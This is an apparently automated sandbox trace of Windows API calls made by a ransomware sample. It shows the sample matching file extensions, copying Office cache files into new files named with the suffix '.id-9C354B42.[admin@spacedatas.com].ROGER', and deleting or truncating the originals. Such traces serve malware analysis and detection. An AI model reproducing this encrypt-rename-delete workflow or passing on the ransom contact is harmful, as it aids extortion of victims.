lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.654] lstrlenW (lpString=".doc") returned 4 [0047.654] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.654] lstrlenW (lpString=".docx") returned 5 [0047.655] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0047.655] lstrlenW (lpString=".pdf") returned 4 [0047.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.655] lstrlenW (lpString=".xls") returned 4 [0047.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.655] lstrlenW (lpString=".xlsx") returned 5 [0047.655] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0047.655] lstrlenW (lpString=".ppt") returned 4 [0047.655] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.655] lstrlenW (lpString=".zip") returned 4 [0047.655] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.655] lstrlenW (lpString=".rar") returned 4 [0047.655] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.655] lstrlenW (lpString=".bz2") returned 4 [0047.655] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.655] lstrlenW (lpString=".7z") returned 3 [0047.655] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.655] lstrlenW (lpString=".dbf") returned 4 [0047.655] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.655] lstrlenW (lpString=".1cd") returned 4 [0047.655] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.655] lstrlenW (lpString=".jpg") returned 4 [0047.655] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.655] lstrcmpiW (lpString1=".xrm-ms", lpString2=".ROGER") returned 1 [0047.655] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0047.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0047.656] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=715834) returned 1 [0047.656] CloseHandle (hObject=0x358) returned 1 [0047.656] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0047.656] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0047.656] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.656] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0047.657] GetLastError () returned 0x0 [0047.657] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0047.672] WriteFile (in: hFile=0x36c, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0047.966] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.966] WriteFile (in: hFile=0x36c, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x104, lpOverlapped=0x0) returned 1 [0047.966] SetEndOfFile (hFile=0x36c) returned 1 [0047.966] CloseHandle (hObject=0x36c) returned 1 [0047.967] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.967] SetEndOfFile (hFile=0x358) returned 1 [0047.972] CloseHandle (hObject=0x358) returned 1 [0047.972] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0047.972] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0047.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.973] lstrlenW (lpString=".doc") returned 4 [0047.973] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0047.973] lstrlenW (lpString=".docx") returned 5 [0047.973] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0047.973] lstrlenW (lpString=".pdf") returned 4 [0047.973] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0047.973] lstrlenW (lpString=".xls") returned 4 [0047.973] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0047.973] lstrlenW (lpString=".xlsx") returned 5 [0047.973] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0047.973] lstrlenW (lpString=".ppt") returned 4 [0047.973] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0047.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.973] lstrlenW (lpString=".zip") returned 4 [0047.973] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0047.973] lstrlenW (lpString=".rar") returned 4 [0047.973] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0047.973] lstrlenW (lpString=".bz2") returned 4 [0047.973] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0047.973] lstrlenW (lpString=".7z") returned 3 [0047.973] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0047.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.973] lstrlenW (lpString=".dbf") returned 4 [0047.973] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0047.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.973] lstrlenW (lpString=".1cd") returned 4 [0047.973] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0047.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.974] lstrlenW (lpString=".jpg") returned 4 [0047.974] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0047.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.974] lstrlenW (lpString=".doc") returned 4 [0047.974] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0047.974] lstrlenW (lpString=".docx") returned 5 [0047.974] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0047.974] lstrlenW (lpString=".pdf") returned 4 [0047.974] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0047.974] lstrlenW (lpString=".xls") returned 4 [0047.974] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0047.974] lstrlenW (lpString=".xlsx") returned 5 [0047.974] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0047.974] lstrlenW (lpString=".ppt") returned 4 [0047.974] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0047.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.974] lstrlenW (lpString=".zip") returned 4 [0047.974] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0047.974] lstrlenW (lpString=".rar") returned 4 [0047.974] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0047.974] lstrlenW (lpString=".bz2") returned 4 [0047.974] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0047.974] lstrlenW (lpString=".7z") returned 3 [0047.974] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0047.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.975] lstrlenW (lpString=".dbf") returned 4 [0047.975] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0047.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.975] lstrlenW (lpString=".1cd") returned 4 [0047.975] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0047.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.975] lstrlenW (lpString=".jpg") returned 4 [0047.975] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0047.975] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0047.975] lstrlenW (lpString="ProPrWW.cab") returned 11 [0047.975] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0048.598] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=177720283) returned 1 [0048.598] CloseHandle (hObject=0x3e8) returned 1 [0048.598] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0048.598] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.598] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0049.142] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0049.143] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.143] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.146] ReadFile (in: hFile=0x3e8, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.493] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.494] ReadFile (in: hFile=0x3e8, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.498] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.498] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.498] ReadFile (in: hFile=0x3e8, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.513] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.513] WriteFile (in: hFile=0x3e8, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0049.734] SetEndOfFile (hFile=0x3e8) returned 1 [0049.734] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4e40088 [0049.734] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.734] WriteFile (in: hFile=0x3e8, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.735] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.735] WriteFile (in: hFile=0x3e8, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.735] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.735] WriteFile (in: hFile=0x3e8, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.737] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0049.738] CloseHandle (hObject=0x3e8) returned 1 [0049.738] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0049.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.738] lstrlenW (lpString=".doc") returned 4 [0049.738] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.738] lstrlenW (lpString=".docx") returned 5 [0049.738] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.738] lstrlenW (lpString=".pdf") returned 4 [0049.738] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.738] lstrlenW (lpString=".xls") returned 4 [0049.738] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.738] lstrlenW (lpString=".xlsx") returned 5 [0049.738] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.738] lstrlenW (lpString=".ppt") returned 4 [0049.738] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.738] lstrlenW (lpString=".zip") returned 4 [0049.738] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.738] lstrlenW (lpString=".rar") returned 4 [0049.739] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.739] lstrlenW (lpString=".bz2") returned 4 [0049.739] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.739] lstrlenW (lpString=".7z") returned 3 [0049.739] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.739] lstrlenW (lpString=".dbf") returned 4 [0049.739] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.739] lstrlenW (lpString=".1cd") returned 4 [0049.739] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.739] lstrlenW (lpString=".jpg") returned 4 [0049.739] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.739] lstrlenW (lpString=".doc") returned 4 [0049.739] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.739] lstrlenW (lpString=".docx") returned 5 [0049.739] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.739] lstrlenW (lpString=".pdf") returned 4 [0049.739] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.739] lstrlenW (lpString=".xls") returned 4 [0049.739] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.739] lstrlenW (lpString=".xlsx") returned 5 [0049.739] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.739] lstrlenW (lpString=".ppt") returned 4 [0049.739] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.739] lstrlenW (lpString=".zip") returned 4 [0049.739] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.739] lstrlenW (lpString=".rar") returned 4 [0049.740] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.740] lstrlenW (lpString=".bz2") returned 4 [0049.740] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.740] lstrlenW (lpString=".7z") returned 3 [0049.740] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.740] lstrlenW (lpString=".dbf") returned 4 [0049.740] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.740] lstrlenW (lpString=".1cd") returned 4 [0049.740] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.740] lstrlenW (lpString=".jpg") returned 4 [0049.740] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.740] lstrcmpiW (lpString1=".xrm-ms", lpString2=".ROGER") returned 1 [0049.740] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0049.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.091] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=715834) returned 1 [0051.091] CloseHandle (hObject=0x350) returned 1 [0051.091] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0051.099] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.126] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.126] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.126] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.126] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0051.126] GetLastError () returned 0x0 [0051.126] ReadFile (in: hFile=0x350, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0051.141] WriteFile (in: hFile=0x390, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0051.181] ReadFile (in: hFile=0x350, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.182] WriteFile (in: hFile=0x390, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x104, lpOverlapped=0x0) returned 1 [0051.182] SetEndOfFile (hFile=0x390) returned 1 [0051.182] CloseHandle (hObject=0x390) returned 1 [0051.182] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.182] SetEndOfFile (hFile=0x350) returned 1 